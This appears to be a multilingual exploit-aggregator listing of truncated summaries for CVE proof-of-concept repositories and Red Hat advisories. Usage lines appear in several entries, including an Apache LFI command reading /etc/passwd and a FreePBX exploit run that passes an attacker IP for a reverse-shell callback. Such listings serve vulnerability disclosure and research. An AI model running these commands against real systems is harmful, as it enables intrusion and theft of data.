CVE-2026-49952

セットアップ root@kitploit: pip3 install Pillow torch torchvision 実行 root@kitploit: $ python3 exploit.py http://localhost/discuz5/ +----------------------------------------------------+ | Discuz! X5.0 Remote Code Execution Exploit by EgiX | +----------------------------------------------------+ +...

VTIGER-CRM-RCE-CVE-2026-23698

此存储库没有 README。...

VTIGER-CRM-RCE-CVE-2026-23697

此存储库没有 README。...

CVE-2020-25042-PoC

CVE-2020-25042-PoC CVE-2020-25042 の概念実証です。Mara CMS 7.5 における認証済みの任意ファイルアップロードの問題を悪用し、リモートコード実行につなげます。 このスクリプトは有効な Mara CMS 管理・マネージャーアカウントでログインし、codebase/handler.php を通じて PHP ペイロードをアップロードし、アップロードしたファイルを介してコマンドを実行します。 また、可能な場合は既存のシェルを再利用するため、実行のたびに新しい PHP ファイルを作成しません。 動作概要 1...

seans-surf-and-skate

Sean's Surf & Skate Co. — Seal Security デモ Maven / Java 小さいながらも本物そっくりの e コマースストアフロント（"Sean's Surf & Skate Co."）で、Spring Boot で構築されています。既知の脆弱性を含むオープンソース依存関係 が同梱されているため、Seal Security がバックポートされた "sealed" パッチで CVE をどのように修復するかをデモできます — パッケージのバージョンを 1 つもアップグレードせずに。 脆弱性 ストアフロントのニュースレター / "Deal Alerts"...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Un script python3 para el CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI y RCE. RCE requiere que cgi-bin esté habilitado. Comenzando Ejecutando el programa LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit:...

CVE-2024-6783

CVE-2024-6783 - Vue CVE Vueに脆弱性が発見されました。これにより、攻撃者はプロトタイプ汚染を介してXSSを実行できます。攻撃者は、Object.prototype.staticClass や Object.prototype.staticStyle などの一部のプロパティのプロトタイプチェーンを変更し、任意のJavaScriptコードを実行する可能性があります。 寄付 このプロジェクトの維持をPayPalまたは下のQRコードをスキャンしてサポートしてください。 ⚡ 簡単な使用法 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください：...

sg3_utils: sg3_utils: arbitrary command execution via udev property injection in sg_inq --export

A flaw was found in sg3utils. The sginq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev...

Important: Red Hat Security Advisory: sg3_utils security, bug fix, and enhancement update

An update for sg3utils is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

EXPLOITER

EXPLOITER: CVE-2024-0044 の自動エクスプロイト EXPLOITER は、CVE-2024-0044 の脆弱性を自動的にエクスプロイトするために設計された高度なツールです。このスクリプトは、ペイロードの展開と APK のインストールを自動化することで、脆弱な Android アプリケーションをエクスプロイトするプロセスを効率化します。 概要 EXPLOITER は CVE-2024-0044 のエクスプロイトを自動化し、ターゲットデバイスに悪意のあるペイロードをインストールして機密データを抽出します。自動化された ADB 接続チェック、APK プッシュ、UID...

sg3_utils: sg3_utils: arbitrary command execution via udev property injection in sg_inq --export

A flaw was found in sg3utils. The sginq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev...

Important: Red Hat Security Advisory: sg3_utils security, bug fix, and enhancement update

An update for sg3utils is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

Cerberus-React2Shell-Scanner-Exploit

Cerberus React2Shell - 武器化エクスプロイトフレームワーク root@kitploit: ██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██╗ ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║ ██║ █████╗ ██████╔╝██████╔╝█████╗ ██████╔╝██║ ██║ ██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══╝ ██╔══██╗██║ ██║ ╚██████╗ ███████╗██║...

cve-2025-57819-exploit

CVE-2025-57819 漏洞利用工具 元数据 严重性: 严重 9.8 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 类型: 未认证 SQL注入 → 远程代码执行 受影响的软件: FreePBX endpoint 模块 参数 : 目标主机名或 IP 地址（存在漏洞的 FreePBX 实例） : 攻击者用于接收反向 Shell 回调的 IP 地址 : 监听传入连接的端口 示例： root@kitploit: python3 cve-2025-57819.py freepbx.local 10.10.16.38 9999 监听器设置...

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

CVE-2026-58116 — LLaMA-Factory WebUI における trustremotecode を介した RCE CVE-2026-58116 CVSS 9.8 Critical の概念実証: LLaMA-Factory = v0.9.5 におけるリモートコード実行。 LLaMA-Factory WebUI は、モデル読み込み時に trustremotecode=True をハードコードしています（src/llamafactory/webui/chatter.py:139 および runner.py:175,320）。攻撃者が制御する「Model...

ExploitDotNetDCOM

ExploitDotNetDCOM c James Forshaw 2014 .NET DCOMをEoPおよびRCEのために悪用するツールです。.NETの最新バージョンでは修正されています。 情報提供のみを目的としています。 すべてのコードはGPLv3の下でライセンスされています。...

CVE-2026-14894

CVE-2026-14894 — Super Forms ≤ 6.3.313 概要 認証不要の任意ファイルアップロード → リモートコード実行 が、WordPressプラグイン Super Forms バージョン ≤ 6.3.313 で可能です。 この脆弱性は、AJAXハンドラ supersubmitform に存在します。このハンドラは datauristring...

CVE-2023-43879-RiteCMS-Stored-XSS---GlobalContent

Rite CMS v3.0 多个存储型XSS漏洞 作者：Sergio 描述： Rite CMS 3.0 存在一个存储型跨站脚本（XSS）漏洞，攻击者可以通过在管理菜单的全局内容块中注入精心构造的有效载荷来执行任意代码。 攻击向量： AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L POC： 登录面板后，转到"管理 - 全局内容块 - 主页"。 编辑正文配置，在其中添加XSS有效载荷。 XSS 有效载荷： root@kitploit: '" 保存后，将看到XSS弹窗出现。...

CVE-2024-6387_poc

CVE-2024-6387 概念実証 PoC 説明 このリポジトリは、glibcベースのLinuxシステムにおけるOpenSSHサーバー（sshd）のシグナルハンドラの競合状態を標的とする脆弱性CVE-2024-6387のPoCを含んでいます。この脆弱性により、SIGALRMハンドラ内で非同期シグナル安全でない関数を呼び出すことで、リモートからrootとしてコードを実行できます。 リポジトリをクローンして使用する場合： root@kitploit: git clone https://github.com/jocker2410/CVE-2024-6387poc.git && cd...

xmlrpc-c: XMLRPC-C Library: Cross-Site Scripting in error page component

A flaw was found in the XMLRPC-C Library. This reflected cross-site scripting XSS vulnerability exists in the error page component. A remote attacker could exploit this by tricking a user into clicking a specially crafted link. Successful exploitation could lead to the execution of malicious...